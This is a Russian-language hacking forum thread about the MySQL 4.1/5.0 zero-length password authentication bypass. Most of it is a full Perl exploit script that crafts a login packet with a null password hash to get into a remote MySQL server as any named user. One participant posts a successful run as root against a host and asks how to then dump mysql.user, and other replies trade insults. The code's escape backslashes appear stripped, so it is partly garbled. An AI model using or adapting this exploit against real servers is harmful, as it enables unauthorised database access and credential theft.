Форум АНТИЧАТ - MySQL 4.1/5.0 zero-length password auth. bypass

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)

- PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)

- - MySQL 4.1/5.0 zero-length password auth. bypass - modified MySQL client (https://forum.antichat.xyz/showthread.php?t=32303)

MySQL 4.1/5.0 zero-length password auth. bypass - modified MySQL client

У кого есть эта штучка?
MySQL 4.1/5.0 zero-length password auth. bypass - modified MySQL client

Автор r57 искал в нете везде битые ссылки.

MySQL 4.1/5.0 zero-length password auth. bypass - modified MySQL client

Download

and

MySQL 4.1/5.0 zero-length password auth. bypass Exploit

Код:

 #!/usr/bin/perl

#

# The script connects to MySQL and attempts to log in using a zero-length password

# Based on the vuln found by NGSSecurity

#

# The following Perl script can be used to test your version of MySQL. It will display

# the login packet sent to the server and it's reply.

#

# Exploit copyright (c) 2004 by Eli Kara, Beyond Security

# elik beyondsecurity com

#

use strict;

use IO::Socket::INET;

usage() unless ((@ARGV >= 1) || (@ARGV <= 3));

my $username = shift(@ARGV);

my $host = shift(@ARGV);

if (!$host)

{

usage();

}

my $port = shift(@ARGV);

if (!$port)

{

$port = 3306; print "Using default MySQL port (3306)n";

}

# create the socket

my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$host, PeerPort=>$port);

$socket or die "Cannot connect to host!n";

# receive greeting

my $reply;

recv($socket, $reply, 1024, 0);

if (length($reply) < 7)

{

print "Not allowed to connect to MySQL!n";

exit(1);

}

print "Received greeting:n";

HexDump($reply);

print "n";

# here we define the login OK reply

# my $login_ok = "x01x00x00x02xFE";

# break the username string into chars and rebuild it

my $binuser = pack("C*", unpack("C*", $username));

# send login caps packet with password

my $packet = "x85xa6".

"x03x00x00".

"x00".

"x00x01x08x00x00x00". # capabilities, max packet, etc..

"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".

"x00x00x00x00".$binuser."x00x14x00x00x00x00". # username and pword hash length + NULL hash

"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"; # continue NULL hash

substr($packet, 0, 0) = pack("C1", length($packet)) . "x00x00x01"; # MySQL message length + packet number (1)

print "Sending caps packet:n";

HexDump($packet);

print "n";

send $socket, $packet, 0;

# receive reply

recv($socket, $reply, 1024, 0);

print "Received reply:n";

HexDump($reply);

my @list_bytes = unpack("C*", $reply);

#print "The fifth byte is: ", $list_bytes[4], "n";

if (length(@list_bytes) >= 4)

{

print "Response insufficentn";

}

#if ($reply eq $login_ok)

if ($list_bytes[4] == 0 || $list_bytes[4] == 254)

{

print "Received OK reply, authentication successful!!n";

}

else

{

print "Authentication failed!n";

}

# close

close($socket);

sub usage

{

# print usage information

print "nUsage: mysql_auth_bypass_zeropass.pl <username> <host> [port]n

<username> - The DB username to authenticate as

<host> - The host to connect to

[port] - The TCP port which MySQL is listening on (optional, default is 3306)nn";

exit(1);

}

###

# do a hexdump of a string (assuming it's binary)

###

sub HexDump

{

my $buffer = $_[0];

# unpack it into chars

my @up = unpack("C*", $buffer);

my $pos=0;

# calculate matrix sizes

my $rows = int(@up/16);

my $leftover = int(@up%16);

for( my $row=0; $row < $rows ; $row++, $pos+=16)

{

printf("%08Xt", $pos);

my @values = @up[$pos .. $pos+15];

my @line;

foreach my $val (@values)

{

push(@line, sprintf("%02X", $val));

}

print join(' ', @line), "n";

}

# print last line

printf("%08Xt", $pos);

my @values = @up[$pos .. $pos+$leftover-1];

my @line;

foreach my $val (@values)

{

push(@line, sprintf("%02X", $val));

}

print join(' ', @line), "n";

}

Это локальный или удаленный?

Цитата:

Сообщение от Ig-FoX

Это локальный или удаленный?

use IO::Socket::INET;
А ты как думаешь?

2Ig-FoX
Удаленный.

Тоесть при его использувании я поднимаю права на сервере воще или только доступ к бд?
Єсли есть где описание подкинте плз!!!

Чувак с твоими знаниями ты нечего не поднимишь...
Описание найти можно самому.

Если ты поднимаешь права то с каких на какие??? :)

Цитата:

# The script connects to MySQL and attempts to log in using a zero-length password

2[ cash ]
Просто не все родились такими умными как ты!!!
Да согласен я здесь чуток не внимательный!

НУ можно просто название прочитать сплойтов...

Цитата:

MySQL 4.1/5.0 zero-length password auth

протестил сплойт на уязвимой машине

C:\>perl 1.pl root somehost.com 3306
Received greeting:
00000000 37 00 00 00 0A 34 2E 31 2E 31 34 2D 6E 74 00 22
00000010 00 00 00 56 5C 4B 41 44 73 38 5A 00 2C A2 08 02
00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3E 65
00000030 64 44 65 52 49 57 5B 43 7D 6A 00

Sending caps packet:
00000000 3A 00 00 01 85 A6 03 00 00 00 00 01 08 00 00 00
00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00000020 00 00 00 00 72 6F 6F 74 00 14 00 00 00 00 00 00
00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Received reply:
00000000 01 00 00 02 FE
Received OK reply, authentication successful!!

======

подскажите плиз как мне теперь зайти на уязвимый mysql и увидеть результат команды SELECT * FROM mysql.user WHERE user='root' ?????

дело в том что через стандартные mysql клиенты я не могу заместо паса нулевое значение подставить... а через сокет как в скрипте - я не знаю как сделать..